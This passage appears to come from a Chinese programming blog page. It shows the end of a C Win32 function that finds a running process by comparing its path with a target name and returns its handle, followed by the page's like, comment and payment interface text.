								if(lstrcmpi(Path+lstrlen(Path)-lstrlen(ProcessToFind),ProcessToFind) == 0)

									return hProc;

							} else {

								if(lstrcmpi(Path,ProcessToFind) == 0)

									return hProc;

							}

					CloseHandle(hProc);

				}

	}

	return NULL;

}





  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值